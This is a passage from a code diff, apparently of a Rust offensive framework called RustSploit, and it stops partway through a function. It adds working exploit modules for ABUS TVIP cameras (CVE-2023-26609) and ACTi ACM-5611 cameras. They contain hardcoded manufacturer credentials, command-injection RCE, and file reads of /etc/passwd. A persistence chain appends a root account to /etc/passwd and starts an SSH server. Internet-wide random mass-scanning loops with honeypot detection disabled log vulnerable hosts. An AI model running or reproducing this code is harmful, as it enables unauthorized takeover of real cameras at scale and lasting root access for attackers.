|
||||
if let Ok(body) = resp.text().await {
|
||||
body.contains("echo_CVE7029")
|
||||
} else {
|
||||
false
|
||||
}
|
||||
},
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let port = prompt_port().await?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Handle either single IP or file of targets
|
||||
let targets = if Path::new(target).exists() {
|
||||
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
|
||||
tokio::fs::read_to_string(target)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
|
||||
println!();
|
||||
|
||||
for raw_ip in &targets {
|
||||
let url = normalize_url(raw_ip, &port);
|
||||
println!("{}", format!("[*] Testing: {}", url).yellow());
|
||||
|
||||
if check_vuln(&client, &url).await? {
|
||||
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
println!("{}", format!("[-] {} is not vulnerable", url).red());
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
println!("{}", "[*] Scan complete.".cyan());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod wpair;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,358 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
||||
// CVE: CVE-2023-26609
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use crate::modules::creds::utils::generate_random_public_ip;
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
use std::time::Duration;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use chrono::Local;
|
||||
use crate::utils::{
|
||||
normalize_target,
|
||||
cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ScanMode {
|
||||
StandardCheck,
|
||||
CustomCommand,
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
crate::mprintln!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
crate::mprintln!("{}", format!("[+] Status: {}", status).green());
|
||||
crate::mprintln!("{}", "[+] Body:".green());
|
||||
crate::mprintln!("{}", body);
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[-] Status: {}", status).red());
|
||||
crate::mprintln!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
crate::mprintln!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
crate::mprintln!("{}", format!("[+] Status: {}", status).green());
|
||||
crate::mprintln!("{}", "[+] Body:".green());
|
||||
crate::mprintln!("{}", body);
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[-] Status: {}", status).red());
|
||||
crate::mprintln!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
crate::mprintln!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Stage 2: Inject a root user with an MD5-hashed password
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
crate::mprintln!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
|
||||
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
crate::mprintln!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
crate::mprintln!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
crate::mprintln!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
crate::mprintln!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
|
||||
crate::mprintln!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Dispatch single-target exploit modes.
|
||||
///
|
||||
/// API prompts:
|
||||
/// - "mode" : exploit mode "1" (LFI) / "2" (RCE) / "3" (SSH Persistence) — default "1"
|
||||
/// - "filepath" : file path for LFI mode (default: /etc/passwd)
|
||||
/// - "command" : shell command for RCE mode (default: id)
|
||||
/// - "password" : root password for persistence mode (required)
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).yellow());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Exploit mode selection:".cyan().bold());
|
||||
crate::mprintln!(" {} LFI (Local File Inclusion)", "[1]".green());
|
||||
crate::mprintln!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
crate::mprintln!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
|
||||
// cfg_prompt_default falls back to interactive stdin when not in API mode
|
||||
let choice = cfg_prompt_default("mode", "Select mode [1-3]", "1").await?;
|
||||
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
let fp = cfg_prompt_default("filepath", "Enter file path to read", "/etc/passwd").await?;
|
||||
exploit_lfi(&client, target, &fp).await?;
|
||||
}
|
||||
"2" => {
|
||||
let cmd = cfg_prompt_default("command", "Enter command to execute", "id").await?;
|
||||
exploit_rce(&client, target, &cmd).await?;
|
||||
}
|
||||
"3" => {
|
||||
let pwd = cfg_prompt_required("password", "Enter desired password for new root user").await?;
|
||||
persist_root_shell(&client, target, &pwd).await?;
|
||||
}
|
||||
_ => {
|
||||
crate::mprintln!("{}", "[-] Invalid choice".red());
|
||||
return Err(anyhow!("Invalid choice"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning (no honeypot detection)
|
||||
async fn quick_check(client: &Client, ip: &str, mode: ScanMode, custom_cmd: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let cmd = if let ScanMode::CustomCommand = mode { custom_cmd } else { "id" };
|
||||
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => resp.status().is_success(),
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode - infinite random IP scanning
|
||||
///
|
||||
/// API prompts:
|
||||
/// - "exclude_ranges" : y/n (default: y)
|
||||
/// - "output_file" : filename (default: abus_hits.txt)
|
||||
/// - "scan_mode" : "1" standard, "2" custom command (default: "1")
|
||||
/// - "custom_command" : command string for custom mode (default: "id")
|
||||
async fn run_mass_scan_legacy() -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
crate::mprintln!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
crate::mprintln!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true).await?;
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let outfile = cfg_prompt_output_file("output_file", "[?] Output File", "abus_hits.txt").await?;
|
||||
|
||||
let mode_str = cfg_prompt_default("scan_mode", "[?] Select Payload Mode (1=Standard, 2=Custom)", "1").await?;
|
||||
crate::mprintln!("[*] Payload mode: {}", if mode_str.trim() == "2" { "Custom Command" } else { "Standard Check (id)" });
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::StandardCheck,
|
||||
};
|
||||
|
||||
let custom_cmd = if let ScanMode::CustomCommand = mode {
|
||||
cfg_prompt_default("custom_command", "[?] Enter Custom Command", "id").await?
|
||||
} else {
|
||||
String::new()
|
||||
};
|
||||
let custom_cmd = Arc::new(custom_cmd);
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Result writer channel
|
||||
let (tx, mut rx) = mpsc::channel::<String>(1024);
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&*outfile_clone)
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
crate::meprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Stats reporter
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
crate::mprintln!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
let cc = custom_cmd.clone();
|
||||
let current_mode = mode;
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str, current_mode, &cc).await {
|
||||
crate::mprintln!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
|
||||
let log_entry = format!("{} - {}\n", ip_str, timestamp);
|
||||
let _ = tx.send(log_entry).await;
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "ABUS_Camera",
|
||||
default_port: 80,
|
||||
state_file: "abus_camera_mass_state.log",
|
||||
default_output: "abus_camera_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan_legacy().await
|
||||
} else {
|
||||
execute(target).await
|
||||
}
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "ABUS Security Camera TVIP 20000-21150 LFI/RCE".to_string(),
|
||||
description: "Exploits CVE-2023-26609 in ABUS security cameras for local file inclusion, remote code execution, and SSH root access.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec!["CVE-2023-26609".to_string()],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Excellent,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,285 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use std::net::IpAddr;
|
||||
use ipnetwork::IpNetwork;
|
||||
use chrono::Local;
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::generate_random_public_ip;
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
|
||||
|
||||
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// Reference:
|
||||
/// - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// Exploit authors:
|
||||
/// - Todor Donev <todor.donev@gmail.com>
|
||||
/// - GH0st3rs (RouterSploit module)
|
||||
|
||||
const DEFAULT_PORT: u16 = 8080;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
|
||||
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
|
||||
crate::mprintln!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
async fn run_mass_scan_legacy() -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
|
||||
|
||||
let port = cfg_prompt_port("port", "Target Port", 8080).await?;
|
||||
|
||||
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true).await?;
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let outfile = cfg_prompt_output_file("output_file", "[?] Output File", "acti_rce_hits.txt").await?;
|
||||
let outfile = Arc::new(outfile);
|
||||
|
||||
let threads = cfg_prompt_int_range("concurrency", "[?] Concurrency (IPs)", MASS_SCAN_CONCURRENCY as i64, 1, 10000).await?
|
||||
as usize;
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let (tx, mut rx) = mpsc::channel::<String>(1024);
|
||||
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&*outfile_clone)
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
crate::meprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
crate::mprintln!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
crate::mprintln!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc).to_string();
|
||||
|
||||
if let Ok(true) = check(&ip, port).await {
|
||||
crate::mprintln!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
|
||||
let _ = tx.send(log_entry).await;
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "ACTi_Camera",
|
||||
default_port: 80,
|
||||
state_file: "acti_camera_mass_state.log",
|
||||
default_output: "acti_camera_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
|
||||
return run_mass_scan_legacy().await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
// Check for CIDR or Range
|
||||
let is_mass_scan = target.contains('/') || target.contains('-');
|
||||
|
||||
// Prompt for port globally
|
||||
let port = cfg_prompt_port("port", "Target Port", DEFAULT_PORT).await?;
|
||||
|
||||
if is_mass_scan {
|
||||
crate::mprintln!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
|
||||
|
||||
let ips: Vec<IpAddr> = if target.contains('/') {
|
||||
// CIDR
|
||||
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
|
||||
net.iter().collect()
|
||||
} else {
|
||||
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
|
||||
};
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
|
||||
|
||||
let concurrency = 50;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let vulnerable_count = Arc::new(AtomicUsize::new(0));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in ips {
|
||||
let sem = semaphore.clone();
|
||||
let vc = vulnerable_count.clone();
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return,
|
||||
};
|
||||
if let Ok(true) = check(&ip_str, port).await {
|
||||
crate::mprintln!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
|
||||
vc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
drop(_permit);
|
||||
}));
|
||||
}
|
||||
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
|
||||
|
||||
} else {
|
||||
// Single Target Mode
|
||||
crate::mprintln!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
|
||||
if check(target, port).await? {
|
||||
crate::mprintln!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
|
||||
// Prompt for command to execute — uses cfg_prompt which falls back to stdin in CLI mode
|
||||
let cmd = cfg_prompt_default("command", "Enter command to execute", "id").await?;
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, &cmd).await?;
|
||||
crate::mprintln!("{}", format!("[+] Output:\n{}", output).green());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
|
||||
|
||||
let res = client
|
||||
.get(url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header("Referer", format!("http://{}:{}", target, port))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status().is_success() {
|
||||
let text = res.text().await?;
|
||||
Ok(text)
|
||||
} else {
|
||||
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
// Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
crate::mprintln!("{}", "[*] CGI endpoint accessible".cyan());
|
||||
// Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
